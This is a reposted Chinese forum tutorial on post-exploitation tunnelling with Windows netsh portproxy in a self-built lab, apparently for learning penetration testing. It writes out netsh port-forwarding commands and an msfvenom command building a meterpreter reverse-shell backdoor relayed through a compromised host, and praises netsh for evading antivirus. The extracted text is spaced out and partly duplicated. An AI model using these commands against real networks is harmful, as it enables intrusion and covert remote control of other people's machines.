搜索

[21874] 2021-04-15_渗透测试-地基篇-隧道之netsh内网穿透篇

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2021-04-15_渗透测试-地基篇-隧道之netsh内网穿透篇 0 x 0 1   前 言 前 言 0 x 0 2   环 境 介 绍 环 境 介 绍 渗 透 测 试 - 地 基 篇 - 隧 道 之 n e t s h 内 网 穿 透 篇 L e m o n S e c   2 0 2 1 - 0 4 - 1 5 转 自 潇 湘 信 安 该 篇 章 目 的 是 重 新 牢 固 地 基 ， 加 强 每 日 训 练 操 作 的 笔 记 ， 在 记 录 地 基 笔 记 中 会 有 很 多 跳 跃 性 思 维 的 操 作 和 方 式 方 法 ， 望 大 家 能 共 同 加 油 学 到 东 西 。 对 于 所 有 笔 记 中 复 现 的 这 些 终 端 或 者 服 务 器 ， 都 是 自 行 搭 建 的 环 境 进 行 渗 透 的 。 我 将 使 用 K a l i   L i n u x 作 为 此 次 学 习 的 攻 击 者 机 器 。 这 里 使 用 的 技 术 仅 用 于 学 习 教 育 目 的 ， 如 果 列 出 的 技 术 用 于 其 他 任 何 目 标 ， 我 概 不 负 责 。 在 渗 透 测 试 中 ， 当 我 们 获 得 了 外 网 服 务 器 （ 如 w e b 服 务 器 ， f t p 服 务 器 ， m a l i 服 务 器 等 等 ） 的 一 定 权 限 后 发 现 这 台 服 务 器 可 以 直 接 或 者 间 接 的 访 问 内 网 。 此 时 渗 透 测 试 进 入 后 渗 透 阶 段 后 ， 内 网 中 的 其 他 机 器 是 不 允 许 外 网 机 器 访 问 的 。 这 时 候 ， 我 们 可 以 通 过 端 口 转 发 ( 隧 道 )   或 将 这 台 外 网 服 务 器 设 置 成 为 代 理 ， 使 得 我 们 自 己 的 攻 击 机 （ k a l i ） 可 以 直 接 访 问 与 操 作 内 网 中 的 其 他 机 器 。 实 现 这 一 过 程 的 手 段 就 叫 做 内 网 转 发 。 在 很 多 时 候 我 们 获 取 到 的 服 务 器 的 权 限 不 够 ， 无 法 直 接 登 录 。 如 果 直 接 登 录 服 务 器 中 进 行 操 作 ， 我 们 需 要 上 传 工 具 进 行 很 多 操 作 ， 如 果 服 务 器 缺 少 对 应 的 环 境 变 量 或 者 组 件 ， 会 导 致 渗 透 受 阻 。 而 且 远 程 登 录 会 留 下 比 较 明 显 的 痕 迹   ， 因 此 内 网 转 发 是 我 们 最 好 的 选 择 ， 在 本 地 进 行 操 作 是 最 方 便 的 ！ ！ 攻 击 设 备 ： k a l i - 2 0 2 0 . 4 外 网 I P 地 址 ： 1 9 2 . 1 6 8 . 1 7 5 . 1 4 5 代 理 服 务 器 ： w i n d o w s 7 外 网 I P 地 址 ： 1 9 2 . 1 6 8 . 1 7 5 . 1 7 5 内 网 I P 地 址 ： 1 0 . 1 0 . 1 . 5 W e b 服 务 器 ： w i n d o w s 2 0 0 3 内 网 I P 地 址 ： 1 0 . 1 0 . 1 . 6 外 网 网 关 ： 1 9 2 . 1 6 8 . 1 7 5 . 2
0 x 0 3   n e t s h 端 口 映 射 端 口 映 射 目 前 W e b 服 务 器 在 内 网 环 境 ， k a l i 只 能 访 问 代 理 服 务 器 并 拿 到 了 w e b s h e l l 提 权 成 功 后 ， 由 于 代 理 服 务 器 功 能 权 限 局 限 性 大 ， 本 篇 文 章 讲 解 在 后 渗 透 中 常 用 的 一 种 方 法 ， n e t s h 来 端 口 转 发 和 端 口 映 射 使 得 攻 击 者 能 正 常 访 问 内 网 业 务 ， 还 会 写 到 配 置 B u r p s u i t e 如 何 对 在 外 网 分 析 内 网 的 w e b 业 务 情 况 ！ n e t s h 是 w i n d o w s 系 统 自 带 的 一 个 命 令 行 工 具 ， 这 个 工 具 可 以 内 置 中 端 口 转 发 功 能 。 那 么 将 利 用 w i n d o w s 自 带 的 端 口 转 发 n e t s h   i n t e r f a c e   p o r t p r o x y 通 过 这 个 小 工 具 在 代 理 服 务 器 设 置 端 口 转 发 ！ 1 、 、 w i n d o w s 7 代 理 服 务 器 操 作 代 理 服 务 器 操 作 这 里 新 建 个 端 口 映 射 ， 以 及 查 看 转 发 规 则 建 立 成 功 ！ 2 、 、 n e t s h 成 功 转 发 成 功 转 发 可 看 到 成 功 通 过 端 口 转 发 外 网 攻 击 者 k a l i 成 功 通 过 浏 览 器 访 问 到 了 内 网 w e b 服 务 器 业 务 页 面 ！ n e t s h   i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n p o r t = 绑 定 的 端 口   c o n n e c t a d d r e s s = 被 攻 击 者 服 务 器 i p   c o n n e c t p o r t = 被 攻 击 者 服 务 端 口 n e t s h   i n t e r f a c e   p o r t p r o x y   s h o w   a l l         # 查 看 转 发 规 则
3 、 、 B u r p s u i t e 配 置 分 析 配 置 分 析 w e b 业 务 业 务 首 先 需 要 下 载 一 个 F o x y P r o x y 火 狐 插 件 ， 或 者 是 g o o g l e 的 P r o x y   S w i t c h y O m e g a 两 个 非 常 好 用 的 代 理 插 件 ！ 主 要 因 为 顺 手 ， 当 然 还 可 以 在 I E 、 火 狐 上 设 置 全 局 代 理 也 可 以 ！ 这 里 我 不 过 多 介 绍 怎 么 简 单 设 置 代 理 了 ， 我 前 面 的 文 章 都 介 绍 过 了 ， 开 始 ！ 很 简 单 设 置 代 理 ： 可 看 到 成 功 在 外 网 k a l i 利 用 b p 抓 包 分 析 内 网 业 务 … 很 简 单 吧 ~ 。 但 是 这 种 无 法 穿 透 防 火 墙 拦 截 … 下 面 将 介 绍 n e t s h 如 何 反 向 操 作 无 视 防 火 墙 ！
0 x 0 4   n e t s h 端 口 转 发 端 口 转 发 通 过 （ 三 ） 我 们 获 得 了 访 问 内 网 w e b 服 务 器 业 务 后 ， 因 为 目 前 只 能 通 过 访 问 w e b ， 无 法 通 过 外 网 电 脑 控 制 内 网 电 脑 ， 如 何 继 续 横 向 或 者 是 在 k a l i 上 拿 到 一 个 内 网 w e b 服 务 器 的 s h e l l 权 限 来 控 制 电 脑 呢 ？ 接 下 来 我 演 示 该 思 路 来 突 破 在 外 网 电 脑 无 法 连 接 内 网 电 脑 的 情 况 下 ， 通 过 代 理 服 务 器 也 能 直 接 拿 到 内 网 电 脑 的 s h e l l 权 限 ！ 1 、 、 M S F 生 成 后 门 生 成 后 门 2 、 、 n e t s h 端 口 转 发 端 口 转 发 将 连 接 本 地 端 口 6 6 6 6 转 发 到 指 定 端 口 6 6 6 6 ！ m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 0 . 1 0 . 1 . 5   l p o r t = 6 6 6 6   - f   e x e   >   d a y u . e x e n e t s h   i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n p o r t = 6 6 6 6   c o n n e c t a d d r e s s = 1 9 2 . 1 6 8 . 1 7 5 . 1 4 5   c o n n e c t p o r t = 6 6 6 6
3 、 外 网 、 外 网 k a l i 设 置 设 置 M S F 监 听 监 听 这 最 基 础 的 了 ， 就 带 过 了 ~ 4 、 、 成 功 拿 成 功 拿 s h e l l 这 里 成 功 在 外 网 k a l i 上 拿 到 了 内 网 控 制 权 限 ， 可 进 行 任 意 操 作 了 ！ 5 、 、 常 用 命 令 常 用 命 令 针 对 n e t s h 转 发 常 用 命 令 ： 根 据 端 口 清 除 规 则 指 定 规 则 ： n e t s h   i n t e r f a c e   p o r t p r o x y   d e l e t e   v 4 t o v 4   l i s t e n p o r t = 7 7 7 7
0 x 0 5   总 结 总 结 端 口 映 射 与 端 口 转 发 ， 用 于 发 布 防 火 墙 内 部 的 服 务 器 或 者 防 火 墙 内 部 的 客 户 端 计 算 机 ， 有 的 路 由 器 也 有 端 口 映 射 与 端 口 转 发 功 能 。 端 口 映 射 与 端 口 转 发 实 现 的 功 能 类 似 ， 但 又 不 完 全 一 样 。 端 口 映 射 是 将 外 网 的 一 个 端 口 完 全 映 射 给 内 网 一 个 地 址 的 指 定 端 口 ， 而 端 口 转 发 是 将 发 往 外 网 的 一 个 端 口 的 通 信 完 全 转 发 给 内 网 一 个 地 址 的 指 定 端 口 。 端 口 映 射 可 以 实 现 外 网 到 内 网 和 内 网 到 外 网 双 向 的 通 信 ， 而 映 射 转 发 只 能 实 现 外 网 到 内 网 的 单 向 通 信 ！ ！ 这 只 是 讲 解 了 一 个 简 单 的 内 网 穿 透 思 路 ， 由 于 n e t s h 是 w i n d w o s 自 带 的 ， 所 以 自 带 免 杀 功 能 ！ ！ 非 常 的 实 用 ！ ！ 看 完 的 小 伙 伴 如 果 会 的 也 操 作 一 遍 吧 ！ 今 天 基 础 牢 固 就 到 这 里 ， 虽 然 基 础 ， 但 是 必 须 牢 记 于 心 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 查 看 转 发 规 则 ： n e t s h   i n t e r f a c e   p o r t p r o x y   s h o w   a l l 清 除 所 有 规 则 ： n e t s h   i n t e r f a c e   p o r t p r o x y   r e s e t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理